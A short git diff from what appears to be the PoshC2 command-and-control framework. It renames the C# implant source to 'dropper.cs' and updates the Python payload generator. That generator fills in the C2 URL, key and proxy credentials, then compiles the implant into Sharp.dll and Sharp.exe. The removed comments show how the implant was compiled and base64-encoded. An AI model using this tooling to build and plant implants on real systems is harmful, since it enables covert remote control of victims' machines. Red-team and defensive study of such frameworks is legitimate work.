diff --git a/Files/Implant-Core.cs b/Files/dropper.cs similarity index 96% rename from Files/Implant-Core.cs rename to Files/dropper.cs index 8bc5403..2dfa4e5 100644 --- a/Files/Implant-Core.cs +++ b/Files/dropper.cs @@ -11,9 +11,6 @@ using System.IO; using System.IO.Compression; using System.Collections.Generic; -//mono-csc /opt/PoshC2_Python_Git/Files/Implant-Core.cs -out:/tmp/Sharp.dll -target:library -//cat /tmp/Sharp.dll | base64 -w 0 | xclip - public class Program { [DllImport("kernel32.dll")] @@ -396,7 +393,7 @@ public class Program catch { continue; - } //CAN YOU CONTINUE FROM THIS POINT? + } if (x.ToLower().StartsWith("multicmd")) { diff --git a/Payloads.py b/Payloads.py index f558a1b..23444ec 100644 --- a/Payloads.py +++ b/Payloads.py @@ -171,7 +171,7 @@ class Payloads(object): def CreateDlls(self, name=""): # Create Sharp DLL - with open("%sImplant-Core.cs" % FilesDirectory, 'rb') as f: + with open("%sdropper.cs" % FilesDirectory, 'rb') as f: content = f.read() cs = content.replace("#REPLACEKEY#",self.Key ) cs1 = cs.replace("#REPLACEBASEURL#",(self.HostnameIP+":"+self.Serverport)) @@ -184,16 +184,16 @@ class Payloads(object): cs8 = cs7.replace("#REPLACEPROXYUSER#",self.Proxyuser) cs9 = cs8.replace("#REPLACEPROXYPASSWORD#",self.Proxypass) - self.QuickstartLog( "C# Payload written to: %s%sImplant-Core.cs" % (self.BaseDirectory,name) ) - filename = "%s%sImplant-Core.cs" % (self.BaseDirectory,name) + self.QuickstartLog( "C# Payload written to: %s%sdropper.cs" % (self.BaseDirectory,name) ) + filename = "%s%sdropper.cs" % (self.BaseDirectory,name) output_file = open(filename, 'w') output_file.write(cs9) output_file.close() if os.name == 'nt': - compile = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe %s%sImplant-Core.cs -o %s%sSharp.exe" % (self.BaseDirectory, name, self.BaseDirectory, name) + compile = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe %s%sdropper.cs -o %s%sSharp.exe" % (self.BaseDirectory, name, self.BaseDirectory, name) else: - compile = "mono-csc %s%sImplant-Core.cs -out:%s%sSharp.dll -target:library -warn:2" % (self.BaseDirectory,name,self.BaseDirectory,name) - compileexe = "mono-csc %s%sImplant-Core.cs -out:%s%sSharp.exe -target:exe -warn:2" % (self.BaseDirectory,name,self.BaseDirectory,name) + compile = "mono-csc %s%sdropper.cs -out:%s%sSharp.dll -target:library -warn:2" % (self.BaseDirectory,name,self.BaseDirectory,name) + compileexe = "mono-csc %s%sdropper.cs -out:%s%sSharp.exe -target:exe -warn:2" % (self.BaseDirectory,name,self.BaseDirectory,name) subprocess.check_output(compile, shell=True) self.QuickstartLog( "C# DLL written to: %s%sSharp.dll" % (self.BaseDirectory,name) ) subprocess.check_output(compileexe, shell=True)